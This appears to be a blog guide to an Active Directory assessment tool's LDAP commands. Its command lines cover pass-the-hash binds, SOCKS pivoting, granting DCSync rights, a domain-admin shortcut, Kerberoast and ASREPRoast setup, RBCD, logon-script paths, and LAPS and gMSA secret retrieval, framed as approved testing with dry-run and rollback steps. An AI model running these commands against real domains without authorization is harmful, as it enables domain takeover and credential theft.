Back to blog
Jul 19, 202630 min read

LDAP Techniques with nimux

A full neutral guide to nimux LDAP workflows: users, deleted object recovery, DNS records, ACLs, group membership, RBCD, LAPS, gMSA, ADCS, and GPO shortcuts.

LDAPActive DirectoryDNSRecovery

Overview

LDAP is the main control plane for many Active Directory assessment workflows. It exposes users, groups, computers, trusts, delegation, GPOs, certificate data, DNS objects, ACLs, deleted objects, and many write paths. Because of that, LDAP work should be structured. Start with read-only discovery, confirm scope, use dry-run when available, write rollback records for changes, and keep output in a format that can be reviewed later.

nimux has a broad LDAP command surface. This article collects the most useful techniques into one neutral workflow using only nimux commands.

Authentication modes

Use password, hash, Kerberos, anonymous bind, or Schannel depending on what is allowed and what the environment supports.

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' --query users
nimux ldap dc01.corp.local -d corp.local -u operator -H <nt_hash> --query users
nimux ldap dc01.corp.local -d corp.local -k \
  --ccache operator.ccache \
  --query users
nimux ldap dc01.corp.local --anonymous --query users

For certificate-backed LDAP authentication:

nimux ldap dc01.corp.local -d corp.local \
  --ldaps \
  --schannel \
  --cert operator.pem \
  --key operator.key \
  --query users

If the target sits behind a nimux SOCKS pivot, keep the proxy explicit:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --query computers \
  --proxy socks5://127.0.0.1:1088

User and account discovery

Start with named queries. They are easier to read in notes than raw filters.

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' --query users
nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' --query computers
nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' --query groups

For privileged users and administrative relationships:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' --query admins
nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --query admincount \
  --json > admincount.jsonl

For stale or risky account posture:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' --query locked
nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' --query expired-passwords
nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' --query stale-users
nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' --query never-logged-on
nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' --query passwd-notreqd
nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' --query dont-expire

Use --count when you only need scale:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' --count users

Raw filters and selected attributes

Named queries are not always enough. Use raw LDAP filters for focused review.

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --filter '(sAMAccountName=svc*)' \
  --attrs sAMAccountName,distinguishedName,servicePrincipalName,userAccountControl
nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --base 'OU=Workstations,DC=corp,DC=local' \
  --filter '(objectClass=computer)' \
  --fields dNSHostName,operatingSystem,lastLogonTimestamp

Keep raw filters narrow. A broad filter with many attributes can generate noisy output and slow down large domains.

Deleted objects and recovery

Deleted object review is useful when the assessment includes recovery risk, accidental deletion response, or object lifecycle checks.

List deleted objects:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --query deleted \
  --json > deleted-objects.jsonl

Recover by name to a specific parent:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --restore-deleted \
  --name recovered.user \
  --restore-to 'OU=Recovered,DC=corp,DC=local' \
  --new-name recovered.user.restored \
  --rollback-out restore-rollback.jsonl

Recover by deleted object DN when the name is ambiguous:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --restore-deleted \
  --dn 'CN=recovered.user\0ADEL:<object-guid>,CN=Deleted Objects,DC=corp,DC=local' \
  --restore-to 'OU=Recovered,DC=corp,DC=local' \
  --new-name recovered.user.restored \
  --rollback-out restore-rollback.jsonl

After recovery, confirm the object exists:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --filter '(sAMAccountName=recovered.user.restored)' \
  --attrs distinguishedName,objectClass,userAccountControl

Only recover objects when explicitly approved. Recovery changes directory state and can affect identity lifecycle processes.

DNS record workflows

Active Directory integrated DNS is also LDAP-backed. nimux can enumerate DNS and add, replace, or delete A records.

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' --query dns

Add a scoped record:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --dns-add \
  --zone corp.local \
  --record scoped-test \
  --type A \
  --data 10.10.10.50 \
  --ttl 300 \
  --rollback-out dns-rollback.jsonl

Replace the record:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --dns-replace \
  --zone corp.local \
  --record scoped-test \
  --type A \
  --data 10.10.10.51 \
  --ttl 300 \
  --rollback-out dns-rollback.jsonl

Delete the record:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --dns-delete \
  --zone corp.local \
  --record scoped-test

DNS changes can affect routing, authentication, and service discovery. Use unique test names and short TTL values.

Group membership shortcuts

Group membership changes are common in assessment paths. Use explicit commands and rollback output.

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --add-member \
  --group 'Helpdesk Operators' \
  --user test.user \
  --rollback-out group-rollback.jsonl
nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --remove-member \
  --group 'Helpdesk Operators' \
  --user test.user

Nested membership review:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --nested-groups \
  --user test.user

For a direct domain admin shortcut, use it only in a lab or approved controlled validation:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --make-dadmin \
  --user test.user \
  --dry-run \
  --rollback-out dadmin-rollback.jsonl

ACL and owner shortcuts

Read ACLs before writing them.

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --acl \
  --user target.user \
  --json > target-acl.jsonl

Add a specific right:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --acl --add \
  --user target.user \
  --principal test.user \
  --rights ResetPassword \
  --rollback-out acl-rollback.jsonl

Remove it after validation:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --acl --remove-ace \
  --user target.user \
  --principal test.user \
  --rights ResetPassword

Change owner only when required and approved:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --set-owner \
  --user target.user \
  --owner test.user \
  --rollback-out owner-rollback.jsonl

For DCSync rights on a domain DN:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --acl --add \
  --dn 'DC=corp,DC=local' \
  --principal replication.test \
  --rights DCSync \
  --dry-run \
  --rollback-out dcsync-acl-rollback.jsonl

Roasting and scriptPath shortcuts

Prepare ASREPRoast validation:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --make-asreproast \
  --user target.user \
  --rollback-out asrep-rollback.jsonl

Prepare targeted Kerberoast validation:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --make-kerberoast \
  --user target.user \
  --spn HTTP/scoped-validation.corp.local \
  --rollback-out kerberoast-rollback.jsonl

Set a logon script path only when logon-script testing is in scope:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --set-scriptpath \
  --user target.user \
  --script-path '\\fileserver\logon\scoped-validation.bat' \
  --rollback-out scriptpath-rollback.jsonl

Clear the scriptPath during rollback:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --set-scriptpath \
  --user target.user \
  --script-path ''

RBCD and delegation discovery

Enumerate delegation before writing anything:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' --query unconstrained
nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' --query constrained
nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' --query rbcd-targets

Configure RBCD when approved:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --set-rbcd \
  --from controlled-computer$ \
  --to target-server$ \
  --rollback-out rbcd-rollback.jsonl

LAPS and gMSA workflows

Check LAPS schema and retrieve LAPS when authorized:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' --laps-schema
nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --get-laps \
  --computer workstation01

Retrieve gMSA material over LDAPS:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --get-gmsa \
  --name svc_web$ \
  --ldaps

Treat LAPS and gMSA output as sensitive secrets. Redact it in reports unless the exact value is required as evidence.

ADCS and certificate mapping shortcuts

Certificate-related LDAP workflows are also available from the same surface.

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' --cert-inventory
nimux ldap ca01.corp.local -d corp.local -u operator -p '<password>' --adcs

Map or remove certificate identity mappings:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --cert-map \
  --user target.user \
  --mapping 'X509:<I>CN=Corp CA<S>CN=target.user'
nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --cert-map --remove-map \
  --user target.user \
  --mapping 'X509:<I>CN=Corp CA<S>CN=target.user'

Create, modify, delete, and batch

Create a user:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --create user \
  --name test.user \
  --dn 'OU=Lab Users,DC=corp,DC=local' \
  --new-pass '<new-password>' \
  --ldaps \
  --rollback-out create-user-rollback.jsonl

Create a computer:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --create computer \
  --name controlled-computer$ \
  --new-pass '<new-password>' \
  --ldaps

Modify a safe attribute:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --modify \
  --dn 'CN=test.user,OU=Lab Users,DC=corp,DC=local' \
  --replace description='scoped validation account' \
  --rollback-out modify-rollback.jsonl

Apply LDIF:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --ldif ./changes.ldif \
  --dry-run

Delete only approved test objects:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --delete-user \
  --name test.user

BloodHound and reporting output

When you need graph data:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --bloodhound \
  --bloodhound-out bloodhound-output

For event and footprint context:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' --opsec-notes

Reporting

LDAP findings should explain:

  • The source principal.
  • The target object.
  • The attribute or relationship changed.
  • The command used.
  • Whether --dry-run was performed.
  • Whether rollback records were created.
  • Whether the change was removed.
  • The business impact of the LDAP relationship.

The most useful LDAP report is not a list of commands. It is a clear explanation of how directory permissions, attributes, and object relationships create risk.

Install nimuxView featuresOpen docs